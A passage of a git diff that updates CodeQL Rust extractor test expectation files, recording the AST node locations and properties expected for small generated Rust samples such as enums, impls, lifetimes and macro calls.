gen_const_arg.rs:7:11:7:11 | ConstArg | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected index e69de29bb2d..c26632a25e7 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ConstArg/ConstArg_getExpr.expected @@ -0,0 +1 @@ +| gen_const_arg.rs:7:11:7:11 | ConstArg | gen_const_arg.rs:7:11:7:11 | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected index e69de29bb2d..9632fea6dd5 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | getNumberOfAttrs: | 0 | hasDefaultVal: | no | isConst: | yes | hasName: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected index e69de29bb2d..65eb953a20b 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getName.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | gen_const_param.rs:7:23:7:23 | N | diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected index e69de29bb2d..5a96f2d3ad6 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ConstParam/ConstParam_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_const_param.rs:7:17:7:30 | ConstParam | gen_const_param.rs:7:26:7:30 | usize | diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected index e69de29bb2d..af1df824814 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr.expected @@ -0,0 +1 @@ +| gen_dyn_trait_type_repr.rs:7:13:7:21 | DynTraitTypeRepr | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected index e69de29bb2d..63b58d830c1 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_dyn_trait_type_repr.rs:7:13:7:21 | DynTraitTypeRepr | gen_dyn_trait_type_repr.rs:7:17:7:21 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum.expected index e69de29bb2d..02547a2400e 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasVariantList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected index e69de29bb2d..0e5f3660d5e 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getName.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | gen_enum.rs:7:10:7:10 | E | diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected index e69de29bb2d..4827f814fac 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected +++ b/rust/ql/test/extractor-tests/generated/Enum/Enum_getVariantList.expected @@ -0,0 +1 @@ +| gen_enum.rs:4:5:7:34 | enum E | gen_enum.rs:7:12:7:34 | VariantList | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected index e69de29bb2d..9c06abfad70 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasAbi: | yes | getNumberOfAttrs: | 0 | hasExternItemList: | yes | isUnsafe: | no | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected index e69de29bb2d..ea8e7797362 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | gen_extern_block.rs:7:5:7:14 | Abi | diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected index e69de29bb2d..83bb34c61ab 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.expected @@ -0,0 +1 @@ +| gen_extern_block.rs:7:5:9:5 | ExternBlock | gen_extern_block.rs:7:16:9:5 | ExternItemList | diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected index e69de29bb2d..f47afb2acb5 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.expected @@ -0,0 +1 @@ +| gen_extern_crate.rs:4:5:7:23 | ExternCrate | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasIdentifier: | yes | hasRename: | no | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected index e69de29bb2d..3e545d1761d 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.expected @@ -0,0 +1 @@ +| gen_extern_crate.rs:4:5:7:23 | ExternCrate | gen_extern_crate.rs:7:18:7:22 | serde | diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected index e69de29bb2d..9cc7190339f 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList.expected @@ -0,0 +1 @@ +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | getNumberOfAttrs: | 0 | getNumberOfExternItems: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected index e69de29bb2d..a1f1b91aca6 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.expected @@ -0,0 +1,2 @@ +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | 0 | gen_extern_item_list.rs:8:9:8:17 | fn foo | +| gen_extern_item_list.rs:7:16:10:5 | ExternItemList | 1 | gen_extern_item_list.rs:9:9:9:24 | Static | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected index e69de29bb2d..e70c54798b2 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | hasAbi: | no | isAsync: | no | isConst: | no | isUnsafe: | no | hasParamList: | yes | hasRetType: | yes | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected index e69de29bb2d..26e6ae2ef9f 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | gen_fn_ptr_type_repr.rs:7:14:7:18 | ParamList | diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected index e69de29bb2d..244765e9506 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getRetType.expected @@ -0,0 +1 @@ +| gen_fn_ptr_type_repr.rs:7:12:7:25 | FnPtrTypeRepr | gen_fn_ptr_type_repr.rs:7:20:7:25 | RetTypeRepr | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected index e69de29bb2d..afe5349abb5 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | hasLabel: | no | hasLoopBody: | yes | getNumberOfAttrs: | 0 | hasIterable: | yes | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected index e69de29bb2d..d73979b6df8 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getIterable.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:14:7:18 | 0..10 | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected index e69de29bb2d..d0460f8ed7a 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getLoopBody.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:20:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected index e69de29bb2d..44c312073f9 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected +++ b/rust/ql/test/extractor-tests/generated/ForExpr/ForExpr_getPat.expected @@ -0,0 +1 @@ +| gen_for_expr.rs:7:5:9:5 | for ... in ... { ... } | gen_for_expr.rs:7:9:7:9 | x | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected index e69de29bb2d..6adad498f31 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | hasGenericParamList: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected index e69de29bb2d..0cb4ba87209 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getGenericParamList.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | gen_for_type_repr.rs:9:15:9:18 | <...> | diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected index e69de29bb2d..14610d6319f 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/ForTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_for_type_repr.rs:9:12:9:41 | ForTypeRepr | gen_for_type_repr.rs:9:20:9:41 | Fn | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl.expected index e69de29bb2d..5297703e7d8 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isConst: | no | isDefault: | no | isUnsafe: | no | hasSelfTy: | yes | hasTrait: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected index e69de29bb2d..ae3d1f4a97f 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAssocItemList.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:29:9:5 | AssocItemList | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected index e69de29bb2d..3d38010c592 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getSelfTy.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:22:7:27 | MyType | diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected index e69de29bb2d..9c0392972e1 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getTrait.expected @@ -0,0 +1 @@ +| gen_impl.rs:4:5:9:5 | impl MyTrait for MyType { ... } | gen_impl.rs:7:10:7:16 | MyTrait | diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected index e69de29bb2d..27a8426d9c2 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr.expected @@ -0,0 +1 @@ +| gen_impl_trait_type_repr.rs:7:17:7:41 | ImplTraitTypeRepr | hasTypeBoundList: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected index e69de29bb2d..fbab626faa2 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/ImplTraitTypeRepr_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_impl_trait_type_repr.rs:7:17:7:41 | ImplTraitTypeRepr | gen_impl_trait_type_repr.rs:7:22:7:41 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected b/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected index e69de29bb2d..7078443bf00 100644 --- a/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/InferTypeRepr/InferTypeRepr.expected @@ -0,0 +1 @@ +| gen_infer_type_repr.rs:7:12:7:12 | _ | diff --git a/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected b/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected index e69de29bb2d..482eff5695c 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected +++ b/rust/ql/test/extractor-tests/generated/ItemList/ItemList.expected @@ -0,0 +1 @@ +| gen_item_list.rs:7:11:10:5 | ItemList | getNumberOfAttrs: | 0 | getNumberOfItems: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected b/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected index e69de29bb2d..1ea2c7b8fc7 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/ItemList/ItemList_getItem.expected @@ -0,0 +1,2 @@ +| gen_item_list.rs:7:11:10:5 | ItemList | 0 | gen_item_list.rs:8:9:8:19 | fn foo | +| gen_item_list.rs:7:11:10:5 | ItemList | 1 | gen_item_list.rs:9:9:9:17 | struct S | diff --git a/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected b/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected index e69de29bb2d..64b1e39e01d 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected +++ b/rust/ql/test/extractor-tests/generated/LetElse/LetElse.expected @@ -0,0 +1 @@ +| gen_let_else.rs:7:23:9:5 | else {...} | hasBlockExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected b/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected index e69de29bb2d..0083f6a3df5 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected +++ b/rust/ql/test/extractor-tests/generated/LetElse/LetElse_getBlockExpr.expected @@ -0,0 +1 @@ +| gen_let_else.rs:7:23:9:5 | else {...} | gen_let_else.rs:7:28:9:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected index e69de29bb2d..bb57ab8de87 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected +++ b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime.expected @@ -0,0 +1,2 @@ +| gen_lifetime.rs:7:12:7:13 | 'a | hasText: | yes | +| gen_lifetime.rs:7:20:7:21 | 'a | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected index e69de29bb2d..3570dcab91a 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected +++ b/rust/ql/test/extractor-tests/generated/Lifetime/Lifetime_getText.expected @@ -0,0 +1,2 @@ +| gen_lifetime.rs:7:12:7:13 | 'a | 'a | +| gen_lifetime.rs:7:20:7:21 | 'a | 'a | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected index e69de29bb2d..07554eee9bc 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg.expected @@ -0,0 +1 @@ +| gen_lifetime_arg.rs:7:20:7:21 | LifetimeArg | hasLifetime: | yes | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected index e69de29bb2d..598bae0390f 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/LifetimeArg_getLifetime.expected @@ -0,0 +1 @@ +| gen_lifetime_arg.rs:7:20:7:21 | LifetimeArg | gen_lifetime_arg.rs:7:20:7:21 | 'a | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected index e69de29bb2d..2055797b2fd 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam.expected @@ -0,0 +1 @@ +| gen_lifetime_param.rs:7:12:7:13 | LifetimeParam | getNumberOfAttrs: | 0 | hasLifetime: | yes | hasTypeBoundList: | no | diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected index e69de29bb2d..1d1bc5bf0b0 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/LifetimeParam_getLifetime.expected @@ -0,0 +1 @@ +| gen_lifetime_param.rs:7:12:7:13 | LifetimeParam | gen_lifetime_param.rs:7:12:7:13 | 'a | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected index 915d6847799..1192db0ba7e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | +| gen_macro_call.rs:7:5:7:29 | println!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected index f4bb40db46b..e93d36c8ac2 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:5:5:11 | MacroBlockExpr | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:14:7:28 | MacroBlockExpr | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:14:7:28 | FormatArgsExpr | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected index 23762715c9a..0f17b0ddd12 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:5:5:8 | todo | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:5:7:11 | println | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:5:7:29 | ...::format_args_nl | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected index d2ed004ecc4..833429dd94f 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:10:5:11 | TokenTree | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:13:7:29 | TokenTree | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:14:7:28 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected index e69de29bb2d..2aa118cbfbc 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasArgs: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasName: | yes | hasVisibility: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected index e69de29bb2d..fecd14ff2ba 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:25:7:39 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected index e69de29bb2d..776a64f484a 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:41:9:5 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected index e69de29bb2d..7b7e532ab2e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:15:7:24 | vec_of_two | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected index e69de29bb2d..74234db763b 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:5:7:7 | Visibility | diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected index 79f6d26b811..819ac71ef40 100644 --- 